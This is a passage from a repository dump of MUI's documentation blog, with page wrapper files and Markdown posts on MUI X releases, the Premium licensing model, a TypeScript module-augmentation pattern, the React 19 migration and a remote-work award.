support to assist you every step of the way.\n\nFor users who want to upgrade to MUI X v8 while remaining on an earlier version of Material UI, we've prepared a [guide on usage with Material UI v5/v6](/x/migration/usage-with-material-ui-v5-v6/).\n\n## Migration guide\n\nWe've published migration guides for Material UI and each of the advanced components.\nThese guides detail every breaking change from previous versions with the recommended approach to fix them.\nWe care deeply about providing a smooth migration, so it's been a top priority for us when planning our new major versions.\n\nPlease refer to the migration instructions for each individual component below:\n\n- [Data Grid](/x/migration/migration-data-grid-v7/)\n- [Date and Time Pickers](/x/migration/migration-pickers-v7/)\n- [Tree View](/x/migration/migration-tree-view-v7/)\n- [Charts](/x/migration/migration-charts-v7/)\n\n## Long‑Term Support (LTS)\n\nGreat news—our LTS policy just doubled to **two full years**! 🎉 As we release MUI X v8, **v7 enters long‑term support**, and instead of retiring **v6**, we're extending its LTS window by an extra year. You'll continue to receive critical bug fixes, security patches, and regression updates while you transition to v8.\n\nFor full details, see our [Supported Versions](https://mui.com/x/introduction/support/#supported-versions) page.\n\n## What's next\n\nOur roadmap for MUI X remains ambitious.\nIn the coming months, we'll continue delivering significant improvements and feature enhancements, including:\n\n- **Charts and Data Grid integration**: Deeper interoperability for cohesive data visualization.\n- **Further customization based on composition**: Expanding our composable architecture for even more flexible customization.\n- **Increased leverage of AI**: Harnessing advanced AI for better insights and streamlined data analysis.\n- **Design and usability improvements**: Continuous refinements to enhance the overall user experience.\n- **More improvements to server-side integration**: Ongoing improvements for robust performance and scalability.\n- **New components**: We're exploring additions that support complex planning and time-based workflows, starting with early explorations into Scheduler and Gantt components.\n\n## How to get involved\n\nYour input drives our innovation. Join our GitHub community today to share your insights, report issues, and help shape the future of MUI X.\n\n[Join our community on GitHub](https://github.com/mui/mui-x)\n"
  },
  {
    "path": "docs/pages/blog/november-2019-update.js",
    "content": "import TopLayoutBlog from 'docs/src/modules/components/TopLayoutBlog';\nimport { docs } from './november-2019-update.md?muiMarkdown';\n\nexport default function Page() {\n  return <TopLayoutBlog docs={docs} />;\n}\n"
  },
  {
    "path": "docs/pages/blog/november-2019-update.md",
    "content": "---\ntitle: November 2019 Update\ndescription: Here are the most significant improvements in November.\ndate: 2019-12-12T00:00:00.000Z\nauthors: ['oliviertassinari']\ntags: ['Company']\nmanualCard: true\n---\n\nHere are the most significant improvements in November:\n\n- 🔍 We have polished the newly introduced Autocomplete component (October).\n  We have handled more than [100 related issues](https://github.com/mui/material-ui/issues?utf8=%E2%9C%93&q=label%3A%22lab%3A+Autocomplete%22+) in a single month.\n\n- 👤 We have improved the Avatar's loading experience ([#1871](https://github.com/mui/material-ui/pull/18711)).\n\n  <video autoplay muted loop playsinline width=\"872\" height=\"154\">\n    <source src=\"/static/blog/november-2019-update/loading-avatar-before.mp4\" type=\"video/mp4\" />\n  </video>\n\n  <p class=\"blog-description\">Before</p>\n\n  <video autoplay muted loop playsinline width=\"872\" height=\"154\">\n    <source src=\"/static/blog/november-2019-update/loading-avatar-after.mp4\" type=\"video/mp4\" />\n  </video>\n\n  <p class=\"blog-description\">After</p>\n\n- 🌎 We have introduced [localization](/material-ui/guides/localization/) support.\n  The framework supports [13 locales](/material-ui/guides/localization/#supported-locales), and growing. We would love to see your translation contribution ✨.\n\n- 👨‍🎤 We have added Framer X support ([#17797](https://github.com/mui/material-ui/pull/17797)) (and now looking into Sketch, Figma and Adobe XD).\n\n  <img src=\"/static/blog/november-2019-update/framer.jpg\" alt=\"Framer X\" width=\"300\" />\n\n- ⚛️ We have completed the migration of the demos to TypeScript. A big thanks to all the contributors that participated in [this effort](https://github.com/mui/material-ui/issues/14897). Around 10% of the audience on the documentation uses this version of the demos and growing.\n\n  ![TypeScript demo](/static/blog/november-2019-update/typescript-demos.png)\n\n- 🏷 We have added arrow and [hysteresis](https://github.com/mui/material-ui/pull/18458) support to the Tooltip.\n\n  ![Tooltip arrow](/static/blog/november-2019-update/arrow.png)\n\nBut this summary is just scratching the surface. We have accepted 200 commits from 73 different contributors. We have changed 1,142 files with 27,923 additions and 13,852 deletions.\n\n## Our roadmap intent for December\n\n_(We'll do our best, no guarantee!)_\n\nWe have three major efforts undergoing, we will likely need a couple of months to make significant progress. Stay tuned.\n\n- 📅 We continue to work on a [major upgrade](https://github.com/mui/material-ui-pickers/issues/1293) of the date/time picker components.\n\n- 🧮 We continue to work on a data grid component.\n  This is an effort [of our roadmap](/material-ui/discover-more/roadmap/) to better answer enterprise needs.\n  The most advanced features will use a non-MIT license.\n  To get a rough idea of what's coming, you can read [this blog post](https://uxdesign.cc/design-better-data-tables-4ecc99d23356).\n\n- 💅 We might initiate an update of our styling solution.\n  We want to cover styled-component [#6115](https://github.com/mui/material-ui/pull/#6115), MUI System [#15561](https://github.com/mui/material-ui/issues/15561), dynamic props [#15573](https://github.com/mui/material-ui/issues/15573) and an unstyled version [#6218](https://github.com/mui/material-ui/pull/6218).\n\n❓ Please upvote our [GitHub issues](https://github.com/mui/material-ui/issues) if you want something specific. The number of 👍 helps us to prioritize.\n"
  },
  {
    "path": "docs/pages/blog/october-2019-update.js",
    "content": "import TopLayoutBlog from 'docs/src/modules/components/TopLayoutBlog';\nimport { docs } from './october-2019-update.md?muiMarkdown';\n\nexport default function Page() {\n  return <TopLayoutBlog docs={docs} />;\n}\n"
  },
  {
    "path": "docs/pages/blog/october-2019-update.md",
    "content": "---\ntitle: October 2019 Update\ndescription: Here are the most significant improvements in October.\ndate: 2019-11-08T00:00:00.000Z\nauthors: ['oliviertassinari']\ntags: ['Company']\nmanualCard: true\n---\n\nHere are the most significant improvements in October:\n\n- 🔍 We have introduced a new autocomplete / combo box / multi-select component [in the lab](/material-ui/react-autocomplete/).\n\n  ![combobox](/static/blog/september-2019-update/combobox.png)\n\n  <p class=\"blog-description\">Combo box (limited options)</p>\n\n- 📚 We have changed the demos to automatically inline a small code preview when possible.\n\n  ![code preview](/static/blog/october-2019-update/preview.png)\n\n- ♿️ We have fixed 9 accessibility issues ([#18141](https://github.com/mui/material-ui/pull/18141), [#18142](https://github.com/mui/material-ui/pull/18142), [#17972](https://github.com/mui/material-ui/pull/17972), [#18146](https://github.com/mui/material-ui/pull/18146), [#17939](https://github.com/mui/material-ui/pull/17939), [#17892](https://github.com/mui/material-ui/pull/17892), [#17897](https://github.com/mui/material-ui/pull/17897), [#17870](https://github.com/mui/material-ui/pull/17870), [#18204](https://github.com/mui/material-ui/pull/18204)).\n\n- 📦 We have introduced [codesandbox-ci](https://ci.codesandbox.io/status/mui/material-ui/pr/18238). It can be useful when you want to live on the edge. For instance, you might want to rely on an unreleased commit that contains a bug fix.\n\nBut this summary is just scratching the surface. We have accepted 182 commits from 68 different contributors. We have changed 1,157 files with 31,312 additions and 9,771 deletions.\n\n## Our roadmap intent for November\n\n_(We'll do our best, no guarantee!)_\n\n- 💅 We will initiate an update of our styling solution.\n  It should cover styled-component [#6115](https://github.com/mui/material-ui/pull/#6115), MUI System [#15561](https://github.com/mui/material-ui/issues/15561), dynamic props [#15573](https://github.com/mui/material-ui/issues/15573) and an unstyled version [#6218](https://github.com/mui/material-ui/pull/6218).\n\n- 📅 We will start to work on a [major upgrade](https://github.com/mui/material-ui-pickers/issues/1293) of the date/time picker components.\n\n- 🧮 We will start to work on a data table component. The core will be open-source. The advanced features of the data grid will be behind an enterprise subscription ⭐️.\n  This is an effort [of our roadmap](/material-ui/discover-more/roadmap/) to better answer enterprise needs. To get a rough idea of what's coming, you can read: https://uxdesign.cc/design-better-data-tables-4ecc99d23356.\n\n- ❓ Please upvote our [GitHub issues](https://github.com/mui/material-ui/issues) if you want something specific. The number of 👍 helps us to prioritize.\n\nThese are three major efforts, we will likely need the whole quarter (Q4) to make significant progress. Stay tuned.\n"
  },
  {
    "path": "docs/pages/blog/pattern-type-only-breaking-changes-minor-versions.js",
    "content": "import TopLayoutBlog from 'docs/src/modules/components/TopLayoutBlog';\nimport { docs } from './pattern-type-only-breaking-changes-minor-versions.md?muiMarkdown';\n\nexport default function Page() {\n  return <TopLayoutBlog docs={docs} />;\n}\n"
  },
  {
    "path": "docs/pages/blog/pattern-type-only-breaking-changes-minor-versions.md",
    "content": "---\ntitle: A pattern for opt-in type-only breaking changes in minor versions\ndescription: Discover how MUI prevents type-breaking changes in minor versions using TypeScript's interface merging and module augmentation.\ndate: 2026-01-15\nauthors: ['bernardobelchior']\ntags: ['MUI X', 'Tech']\nmanualCard: false\n---\n\nAt MUI, type errors across non-major versions are considered breaking changes. This article demonstrates how we use TypeScript's interface merging and module augmentation features to allow users to opt in to breaking changes in types, so we can keep shipping new functionality in minor releases.\n\n## Context\n\nRecently, we introduced our new [Range Bar chart](https://mui.com/x/react-charts/range-bar/) which has a new type to represent its data points:\n\n```tsx\n/** [start, end] */\ntype RangeBarValueType = [number, number];\n```\n\nIf you want to add a range bar chart, you need to use a bar chart from the Premium plan:\n\n```tsx\n<BarChartPremium\n  xAxis={[{ data: months }]}\n  series={[\n    {\n      type: 'rangeBar',\n      data: [\n        [13, 21],\n        [17, 25],\n      ],\n    },\n  ]}\n/>\n```\n\nThe bar chart accepts an `onAxisClick` prop, which is called when an user clicks on the chart. This callback is invoked with the event that triggered the click and another argument containing information about the axis section that was clicked. This information is typed as `ChartsAxisData | null`, its definition being as follows:\n\n```tsx\ntype OnAxisClickCallback = (event: MouseEvent, data: null | ChartsAxisData) => void;\n\ninterface ChartsAxisData {\n  dataIndex: number;\n  axisValue: number | Date | string;\n  /**\n   * The mapping of series IDs to their value for this particular axis index.\n   */\n  seriesValues: Record<string, number | null | undefined>;\n}\n```\n\nThe `seriesValues` property of `ChartsAxisData` is a mapping from series ID to the value of that series for the clicked axis section. However, data points in range bar charts must conform to the `RangeBarValueType` type we saw above.\n\nWhen adding the range bar chart, we attempted to widen the type union:\n\n```tsx\ninterface ChartsAxisData {\n  dataIndex: number;\n  axisValue: number | Date | string;\n  seriesValues: Record<string, RangeBarValueType | number | null | undefined>;\n  //                           ^^^^^^^^^^^^^^^^^\n  //                           Added `RangeBarValueType` here\n}\n```\n\nHowever, this would cause type errors in cases such as these:\n\n```tsx\nfunction RangeBarChart() {\n  const [seriesValues, setSeriesValues] = useState<number | null | undefined>();\n\n  return (\n    <BarChartPremium\n      xAxis={[{ data: months }]}\n      series={[\n        {\n          type: 'rangeBar',\n          data: [\n            [13, 21],\n            [17, 25],\n          ],\n        },\n      ]}\n      onAxisClick={(_event, data) => setSeriesValues(data?.seriesValues)}\n      /* TS2345: Argument of type                    ^^^^^^^^^^^^^^^^^^\n       * Record<string, number | RangeBarValueType | null | undefined> | undefined\n       * is not assignable to parameter of type SetStateAction<number | null | undefined>\n       * Type Record<string, number | RangeBarValueType | null | undefined>\n       * is not assignable to type SetStateAction<number | null | undefined>\n       */\n    />\n  );\n}\n```\n\n## Solution\n\nThe solution we found for this issue relies on TypeScript's module augmentation and interface merging features.\nWe can leverage the latter to add more properties or widen the type of a property in an interface.\nAn initial approach could look like this:\n\n```diff\n  interface ChartsAxisData {\n    // ...\n    seriesValues: Record<string, number | null | undefined>;\n  }\n+\n+ interface ChartsAxisData {\n+  seriesValues: Record<string, RangeBarValueType | number | null | undefined>;\n+ }\n```\n\nHowever, this doesn't work because we're changing the type of `seriesValues`. We can only widen the type or add more properties to the interface.\n\n```tsx\ninterface ChartsAxisData {\n  // ...\n  seriesValues: Record<string, number | null | undefined>;\n}\n\ninterface ChartsAxisData {\n  seriesValues: Record<string, RangeBarValueType | number | null | undefined>;\n  // ^^^^^^^^^\n  // TS2717: Subsequent property declarations must have the same type.\n  // Property seriesValues must be of type Record<string, number | null | undefined>,\n  // but here has type Record<string, number | RangeBarValueType | null | undefined>\n}\n```\n\nSo this is what we came up with:\n\n```tsx\nexport interface ChartsTypeFeatureFlags {}\ntype HasProperty<T, K extends string> = K extends keyof T ? true : false;\n\nexport interface ChartsAxisData {\n  dataIndex: number;\n  axisValue: number | Date | string;\n  /**\n   * The mapping of series ids to their value for this particular axis index.\n   */\n  seriesValues: Record<\n    string,\n    HasProperty<ChartsTypeFeatureFlags, 'seriesValueOverride'> extends true\n      ? // @ts-ignore this property is added through module augmentation\n        ChartsTypeFeatureFlags['seriesValuesOverride']\n      : number | null | undefined\n  >;\n}\n```\n\nThe original `ChartsAxisData` now depends on `ChartsTypeFeatureFlags` having a `seriesValuesOverride` property. If this property is present, `seriesValues` becomes `Record<string, ChartsTypeFeatureFlags['seriesValuesOverride']>`. However, if it's missing, it defaults to `Record<string, number | null | undefined>`.\n\nNow, we just need to find a way to set `seriesValuesOverride` in `ChartsTypeFeatureFlags`.\n\nAs mentioned before, we can use interface merging to add more properties to an interface, so we leverage that plus module augmentation to add the property from a separate file that users can import if they need it:\n\n```tsx\ndeclare module '@mui/x-charts/models' {\n  interface ChartsTypeFeatureFlags {\n    seriesValuesOverride: RangeBarValueType | number | null | undefined;\n  }\n}\n\nexport default {};\n```\n\nUsers just need to import the file above (for example, `import type {} from '@mui/x-charts-premium/moduleAugmentation/rangeBarOnClick`) and the `seriesValues` type will be correct! If the file isn't imported, the types remain unchanged.\n\nUsers that opt in to using the range bar chart and import the file will now experience a type error, but developers who don't use a range bar chart don't have to do anything and their application will continue to function and type-check.\n\nBorrowing a previous example, this is how it would look like after importing the module augmentation file:\n\n```tsx\nimport type {} from '@mui/x-charts-premium/moduleAugmentation/rangeBarOnClick';\n// ^^ Import the module augmentation\n\nfunction RangeBarChart() {\n  const [seriesValues, setSeriesValues] = useState<\n    RangeBarValueType | number | null | undefined\n  >();\n  //                                               ^^^^^^^^^^^^^^^^^\n  //                                               Correct the type\n\n  return (\n    <BarChartPremium\n      xAxis={[{ data: months }]}\n      series={[\n        {\n          type: 'rangeBar',\n          data: [\n            [13, 21],\n            [17, 25],\n          ],\n        },\n      ]}\n      onAxisClick={(_event, data) => setSeriesValues(data?.seriesValues)}\n      //                                             ^^^^^^^^^^^^^^^^^^\n      //                                             No more type issues here\n    />\n  );\n}\n```\n\nUnfortunately, this solution isn't perfect, and comes with the following trade-offs:\n\n- **Type soundness**: if the library consumer uses the range bar chart's `onAxisClick` but doesn't import the module augmentation, the type will be displayed incorrectly as `number | null | undefined`, which might cause a runtime error. This drawback is mitigated by a clear callout in the bar range docs to import module augmentation.\n- **Global module augmentation**: module augmentation is global, which means that once you import it, all other usages of the augmented types are affected. So if you import it to fix a range bar chart's `onAxisClick` type, then all other usages of `onAxisClick` will have this new type, potentially causing type errors.\n\nFor us, these trade-offs are acceptable since we'd rather release features earlier so our users can benefit from them. In the next major version, we will have the opportunity to clean up this tech debt and become leaner once more.\n\nIf you find any problems with this solution or if you would like to provide any feedback, open an issue in the [MUI X](https://github.com/mui/mui-x) repo.\n"
  },
  {
    "path": "docs/pages/blog/premium-plan-release.js",
    "content": "import TopLayoutBlog from 'docs/src/modules/components/TopLayoutBlog';\nimport { docs } from './premium-plan-release.md?muiMarkdown';\n\nexport default function Page() {\n  return <TopLayoutBlog docs={docs} />;\n}\n"
  },
  {
    "path": "docs/pages/blog/premium-plan-release.md",
    "content": "---\ntitle: Premium passengers, please proceed to the boarding gate 🚀\ndescription: Introducing the MUI X Premium plan, and a new licensing model.\ndate: 2022-05-12T00:00:00.000Z\nauthors: ['josefreitas', 'alexfauquette']\ntags: ['MUI X', 'Product']\nmanualCard: true\n---\n\nWe're happy to announce that the Premium plan is [finally out](https://mui.com/pricing/)!\nWith it, MUI X officially steps up to the next level, supporting more advanced data grid use cases.\n\n<img src=\"/static/blog/premium-plan-release/card.png\" width=\"1400\" height=\"700\" alt=\"Promotional image of MUI X Premium plan release showcasing Data Grid's new features (such as Download data as an Excel file) and Date Range Picker\" />\n\nYou can use the new Premium features to provide your end users with the most sophisticated tools necessary to navigate and interpret massive amounts of data.\n\n## The new features\n\n### Row grouping\n\n[Row grouping](https://mui.com/x/react-data-grid/row-grouping/) lets users group data based on repeating values in the grid.\nFor example, users can now group orders by buyers, movies by directors, or cities by the governing parties.\n\nThese kinds of use cases would usually be dealt with using a new query on the database—which might require a new service end-point, and maybe even a new front-end, along with all the UX challenges this would entail.\nNow this functionality is available to your users with a single click.\n\n<video width=\"1402\" height=\"720\" autoplay muted loop playsinline controls>\n  <source src=\"/static/blog/premium-plan-release/row-grouping-example.mp4\" type=\"video/mp4\" />\n</video>\n\n<p class=\"blog-description\">The feature in action, from the docs page.</p>\n\nUsers are encouraged to explore the data and create combinations with multiple grouping criteria,\nand are then able to export these new views to Excel, with the next Premium feature: Excel export.\n\n:::info\nWith the Premium release, we have made Row grouping available for production use in the `@mui/x-data-grid-premium` package.\n\nThis feature was previously available [as a preview](https://mui.com/blog/introducing-the-row-grouping-feature/#how-to-unlock-this-feature) for Pro users intending to migrate to the new plan.\n\n:::\n\n### Excel export\n\n[Excel export](https://mui.com/x/react-data-grid/export/#excel-export) enables users to save the data from the grid as an Excel spreadsheet that mirrors the existing visualization in the data grid based on filters, sorting, and row grouping.\n\nThis is one of the most requested features to date, so we're excited to finally deliver.\n\nIn the future we intend to support all of the features impacting visualization of the data grid, but we'd love to hear from you if there's anything in particular you'd like to see in future releases.\n\n<video width=\"1610\" height=\"1080\" autoplay muted loop playsinline>\n  <source src=\"/static/blog/premium-plan-release/excel-export-example.mp4\" type=\"video/mp4\" />\n</video>\n\n<p class=\"blog-description\">The feature in action, from the docs page.</p>\n\n### Aggregation (coming in late Q2)\n\nSpeaking of future releases: [aggregation functions](https://mui.com/x/react-data-grid/aggregation/) are coming next, as part of our ongoing efforts to build better tools for analyzing data.\nCombined with row grouping, aggregation functions help users dive even deeper into their data for more granular insight.\n\nExpanding on the use cases in the previous examples, users will be able to dynamically get the sum of orders for each customer, the minimum rating of each director, or the average crime rate for each governing party.\n\nAggregation functions open up an exponential number of new possibilities for organizing data—all with just a few clicks.\n\n<video width=\"1408\" height=\"1080\" autoplay muted loop playsinline controls>\n  <source src=\"/static/blog/premium-plan-release/aggregation-example.mp4\" type=\"video/mp4\" />\n</video>\n\n<p class=\"blog-description\">The feature in action, from the docs page.</p>\n\n## The new licensing model\n\nWith the release of the Premium plan, we're also announcing a revised pricing and licensing model for MUI X Premium and Pro.\n\nWe're aiming for simplicity, restructuring the model to be as clear as possible, based on the recurrent questions we've had in our sales and other channels.\nWe'd also like to keep it within reach of individuals and small teams, while still capturing more of the value we generate for larger companies.\n\nHere is a list of everything that has changed:\n\n:::warning\nThe following **pricing** changes apply only to **new customers**.\nExisting customers are grandfathered, they can renew their license under the [previous terms](https://mui.com/legal/mui-x-eula-2022-05-08/) once.\nTheir last renewal can have a support duration of up to 5 years.\n:::\n\n- **Cost per developer seat**\n\n  We're lowering our base price points, particularly for Pro users. Fees are billed annually.\n  - Pro: $249 → $180/year or $15/month\n  - Premium: $599 → $588/year or $49/month **($444/year - early bird)**\n\n- **Removing volume and renewal discounts**\n\n  We aim to give a more transparent price based on the number of developer licenses while providing more predictable revenue for MUI X in the long term.\n  We believe that's best for both our long-standing customers and us as a company.\n\n- **Perpetual in production**\n\n  Customers can use any licensed version perpetually in a production environment (deployed/published applications), but an active license will always be required during development.\n  We roll bug fixes, performance enhancements, and other improvements into new releases, so we want to encourage projects in active development to use the latest version.\n\n- **Price cap for Premium plan**\n\n  Pro is still capped at 10 seats, but Premium doesn't have a license cap. We kindly ask you to [contact sales](mailto:sales@mui.com) if you wish to purchase a license for more than 50 developers.\n\nPlease feel free to read the [license agreement](https://mui.com/legal/mui-x-eula/) in detail.\n\n## What can you expect next?\n\nWe mentioned the aggregation functions already,\nbut there's a [lot more coming](https://github.com/orgs/mui/projects/35), and certainly not only for Premium users.\nWe're making continuous improvements to all X components, placing more emphasis on the overall experience for both the developer and the user.\nA product designer is soon joining the team, and we aim to keep exploring the most advanced use cases for data-rich applications,\nwhile working on bringing the best UX and DX in the market.\n\nWe're very excited about the possibilities the new Premium features will enable, and we hope you're excited too!\n\n## FAQ 🔧\n\n### How do I migrate?\n\nTo migrate to the premium version in your codebase, install the dedicated package `@mui/x-data-grid-premium` as follows:\n\nWith npm:\n\n```js\nnpm install @mui/x-data-grid-premium\n```\n\nWith yarn:\n\n```js\nyarn add @mui/x-data-grid-premium\n```\n\nAll the features from Community and Pro plan are available in the Premium package. You can remove your previous data grid package without any concern.\n\nThe new package exports the component `<DataGridPremium />` which has basically the same API as `<DataGridPro />`. To use this package for development of a production product, and to remove the watermark, you must acquire a Premium license. If you wish to upgrade your existing Pro license, please [contact sales](mailto:sales@mui.com).\n\n### Should I update my code?\n\nYou don't have to take any action here as a Community or Pro user, unless you're already using row grouping in your project.\n\nRow grouping is now officially deprecated in the Pro package and will be removed from the experimental features [as planned](https://mui.com/blog/introducing-the-row-grouping-feature/#how-to-unlock-this-feature).\n\nYou must upgrade to the Premium plan to continue to use the row grouping feature.\n\n### What can I do with the Excel export feature?\n\nThe free version of the data grid features a print export to give users a printable visualization, as well as a CSV export for migrating data to another application.\nBut CSV exports are basic and limited when the exported file is consumed by users instead of other applications. The Excel format provides more room for flexibility and customization.\n\n#### Cell constraints\n\nBy setting a column type you prevent users from making errors, such as entering an invalid date, or using letters in a number column. The exported file will reflect those type constraints.\n\nA special case is the `singleSelect` column type which provides an array of options. This constraint is also reflected in the exported file, meaning the singleSelect options will be available as field value options in the Excel spreadsheet.\n\n#### Hierarchical structure\n\nWith tree data and row grouping, users can create a hierarchical structure between rows. This structure is also available in the exported file, and in Excel you can toggle the visibility of a row's children.\n\n#### Brand customization\n\nIf you plan to generate spreadsheets to share, you may want to add headers, apply brand colors, or add extra details to the document.\nTo fully customize your Excel files, you can access their content before _and_ after the data is inserted.\n\n## Share your feedback 🗣\n\nWe hope you find these new features useful and enjoyable to work with, both as a developer and a user.\nPlease don't hesitate to [open an issue](https://github.com/mui/mui-x/issues/new/choose) to share feedback, report bugs, or propose enhancements.\n"
  },
  {
    "path": "docs/pages/blog/react-19-update.js",
    "content": "import TopLayoutBlog from 'docs/src/modules/components/TopLayoutBlog';\nimport { docs } from './react-19-update.md?muiMarkdown';\n\nexport default function Page() {\n  return <TopLayoutBlog docs={docs} />;\n}\n"
  },
  {
    "path": "docs/pages/blog/react-19-update.md",
    "content": "---\ntitle: How we migrated MUI X to React 19\ndescription: Learn how we migrated our library's codebase to React 19 while maintaining backward compatibility.\ndate: 2025-02-25\nauthors: ['arminmeh']\ntags: ['MUI X']\nmanualCard: false\n---\n\nAs maintainers of a popular set of React UI components, we planned to migrate our library's codebase to React 19 as soon as possible after its stable release, which came at the end of 2024.\nThis proved to be a major undertaking that required careful planning and execution.\n\nThis article describes our migration strategy, and how we addressed some of the key issues we encountered along the way.\nWe hope it may be useful to others who also need to support both versions of React in their codebase.\n\n## The migration strategy\n\nIt was crucial for us to keep supporting older React versions, as many of our users rely on existing React 18 applications that can't be migrated immediately.\n\nWe understand that upgrading major versions takes time and planning, especially in large production applications, and we want to support our users' migration timelines.\nAt the same time, we didn't want to block early adopters of React 19 from using the latest React version with our packages.\n\nSo, we approached the migration in two phases:\n\n1. First, we added React 19 compatibility while keeping the codebase on React 18\n2. Then we moved the entire codebase to React 19 while maintaining compatibility with previous React versions\n\nThis shortened the time needed to release React 19 compatible versions of our packages.\n\n### Phase 1: Adding React 19 compatibility\n\nOur first step was checking the list of [breaking changes in React 19](https://react.dev/blog/2024/04/25/react-19-upgrade-guide#breaking-changes).\n\nWe were lucky that we didn't have to change much in the source code, but a lot of changes had to be made to our tests because of the modifications related to [strict mode](https://react.dev/blog/2024/04/25/react-19-upgrade-guide#strict-mode-improvements) and [error reporting](https://react.dev/blog/2024/04/25/react-19-upgrade-guide#errors-in-render-are-not-re-thrown).\nThese changes caused a different call count for our spies and different console outputs, so we had to expect different values based on the React major.\n\n`@mui/internal-test-utils` provides an export `reactMajor` that extracts the major version of the React version used in the test.\nWe are using that to conditionally set the test expectations.\n\n#### Error message modification\n\n```ts\nconst errorMessage1 = 'MUI X: Could not find the animation ref context.';\nconst errorMessage2 =\n  'It looks like you rendered your component outside of a ChartsContainer parent component.';\nconst errorMessage3 =\n  'The above error occurred in the <UseSkipAnimation> component:';\nconst expectedError =\n  reactMajor < 19\n    ? [errorMessage1, errorMessage2, errorMessage3]\n    : `${errorMessage1}\\n${errorMessage2}`;\n```\n\n#### Strict mode modification\n\n```ts\n// Spy call count\n//   1x during state initialization\n// + 1x during state initialization (StrictMode)\n// + 1x when sortedRowsSet is fired\n// + 1x when sortedRowsSet is fired (StrictMode) = 4x\n\n// Because of https://react.dev/blog/2024/04/25/react-19-upgrade-guide#strict-mode-improvements\n// from React 19 it is:\n//   1x during state initialization\n// + 1x when sortedRowsSet is fired\nconst expectedCallCount = reactMajor >= 19 ? 2 : 4;\n```\n\n### Performance issue\n\nIn React 19, you can access `ref` as a prop for function components. `forwardRef` is no longer needed.\nThis created an [issue](https://github.com/mui/mui-x/issues/15770) for us, which was spotted by one of our community members.\n\nBecause `ref` is now also a prop, spreading props after the ref prop could potentially override the ref.\nThe existence of the `ref` prop on a `ForwardRef` component—even if `undefined`—makes the component props referentially unstable, which breaks downstream memoizations.\n\nTo address this, we added a `forwardRef` shim that enforces the correct prop ordering at the type level.\n\n```tsx\n// Compatibility shim that ensures stable props object for forwardRef components\n// Fixes https://github.com/facebook/react/issues/31613\n// We ensure that the ref is always present in the props object (even if that's not the case for older versions of React) to avoid the footgun of spreading props over the ref in the newer versions of React.\nexport const forwardRef = <T, P = {}>(\n  render: React.ForwardRefRenderFunction<T, P & { ref: React.Ref<T> }>,\n) => {\n  if (reactMajor >= 19) {\n    const Component = (props: any) => render(props, props.ref ?? null);\n    Component.displayName = render.displayName ?? render.name;\n    return Component as React.ForwardRefExoticComponent<P>;\n  }\n  return React.forwardRef(\n    render as React.ForwardRefRenderFunction<T, React.PropsWithoutRef<P>>,\n  );\n};\n```\n\nThe shim provides two key benefits:\n\n1. Type safety - TypeScript will warn if props are spread incorrectly\n2. Forward compatibility - Components using the shim will work correctly in all supported React versions\n\nThis is how we implemented it:\n\n```tsx\n// Before\nconst GridRoot = React.forwardRef((props, ref) => {\n  const state = useGridState();\n  return <div ref={ref} {...props} {...state} />;\n});\n\n// After\nconst GridRoot = forwardRef((props, ref) => {\n  const state = useGridState();\n  return <div {...props} {...state} ref={ref} />;\n});\n```\n\n## Phase 2: Moving to React 19\n\nAfter ensuring compatibility, we started working on migrating the codebase to React 19. This involved:\n\n1. Updating all package dependencies to their React 19-compatible versions (including docs website migration to Next.js 15)\n2. Migrating test utilities to work with React 19\n3. Ensuring all components work with the new React 19 features\n4. Updating CI to run tests with React 18\n5. Updating type references with `RefObject` for React 19 and `MutableRefObject` for earlier versions\n\nThe biggest change in this phase was around the [`useRef()` hook update](https://react.dev/blog/2024/04/25/react-19-upgrade-guide#useref-requires-argument).\nThe `apiRef` in the Data Grid component had to be updated from `MutableRefObject` to `RefObject` for React 19 only, to avoid type errors for users who haven't migrated yet.\n\n### Our own `RefObject`\n\nTo provide different types for `apiRef` in the Data Grid component for different React versions, we created our own `RefObject` type.\n\nWe leveraged the fact that `useRef()` requires a param in React 19 to ensure `RefObject` would be evaluated as `MutableRefObject` for React < 19, and as `RefObject` otherwise.\n\n```ts\n// in React 19 useRef requires a parameter, so `() => any` will not match anymore\nexport type RefObject<T> = typeof React.useRef extends () => any\n  ? React.MutableRefObject<T>\n  : React.RefObject<T>;\n```\n\n## Conclusion\n\nThe migration to React 19 was a significant undertaking.\nBy breaking it down into two phases we were able to quickly provide React 19 compatibility for our users while we worked on our own migration.\n\nThe utilities and refactoring made during the migration will make it easier to maintain backward compatibility in the future, since `forwardRef` updates and `apiRef` type changes can all be done from one place.\n\nThough this project was spearheaded by the MUI X team, we owe a special thanks to our colleagues who maintain Material UI for their massive help in adding React 19 support to both v5 and v6 of `@mui/material`.\nThey also provided the necessary updates to the internal tools that both of our repositories use for building and testing our components.\n\nWe hope our experience can be useful and shorten the time needed for your own React 19 migration!\n"
  },
  {
    "path": "docs/pages/blog/remote-award-win-2024.js",
    "content": "import TopLayoutBlog from 'docs/src/modules/components/TopLayoutBlog';\nimport { docs } from './remote-award-win-2024.md?muiMarkdown';\n\nexport default function Page() {\n  return <TopLayoutBlog docs={docs} />;\n}\n"
  },
  {
    "path": "docs/pages/blog/remote-award-win-2024.md",
    "content": "---\ntitle: MUI scoops the win in renowned Remote Excellence Awards\ndescription: We're delighted to be honored with this global recognition for our commitment to fostering excellence in remote work.\ndate: 2024-03-20T12:00:00.000Z\nauthors: ['mikailaread']\ntags: ['Company']\nmanualCard: true\n---\n\nMUI has been named a **winner** in the first-ever [Remote Excellence Awards](https://remote.com/remote-excellence-awards), in the Small & Mighty category! 🎉\n\n<img alt=\"MUI's official winners badge provided by Remote.\" src=\"/static/blog/remote-award-win-2024/award-image.png\" width=\"2400\" height=\"1100\" />\n\n## Small & Mighty winners\n\nThe awards, presented by [Remote](https://remote.com/), recognize companies that have demonstrated exceptional commitment, innovation, and enthusiasm in navigating the challenges and opportunities presented by remote work.\n\nThe awards celebrate MUI's efforts driving success in the realm of remote work and distributed teams and provide a roadmap of effective strategies and practices for other businesses to follow.\nThe winners across 10 categories were selected through a rigorous evaluation process by a panel of judges, comprising Remote's leaders and a panel of influential industry figures.\nFactors considered included employee engagement, impact on employee engagement and productivity, and technology adoption.\n\n> MUI's achievement in the Remote Excellence Awards highlights the dedication and hard work of its leaders and teams in succeeding in the new world of work.\n> Organizations like these have become the benchmark, through their commitment to excellence and their ability to thrive, paving a way forward for other organizations to confidently pursue their own remote work endeavors.\n\n– [Job van der Voort](https://www.linkedin.com/in/jobvo/), CEO, and Co-founder of Remote.\n\n> MUI is the definition of small and mighty. I am blown away by their commitment to building a company in their own way while achieving powerful results for themselves, their community, and their customers.\n\n– [Hailley Griffis](https://www.linkedin.com/in/hailleygriffis/), Head of Communications & Content at Buffer\n\n## 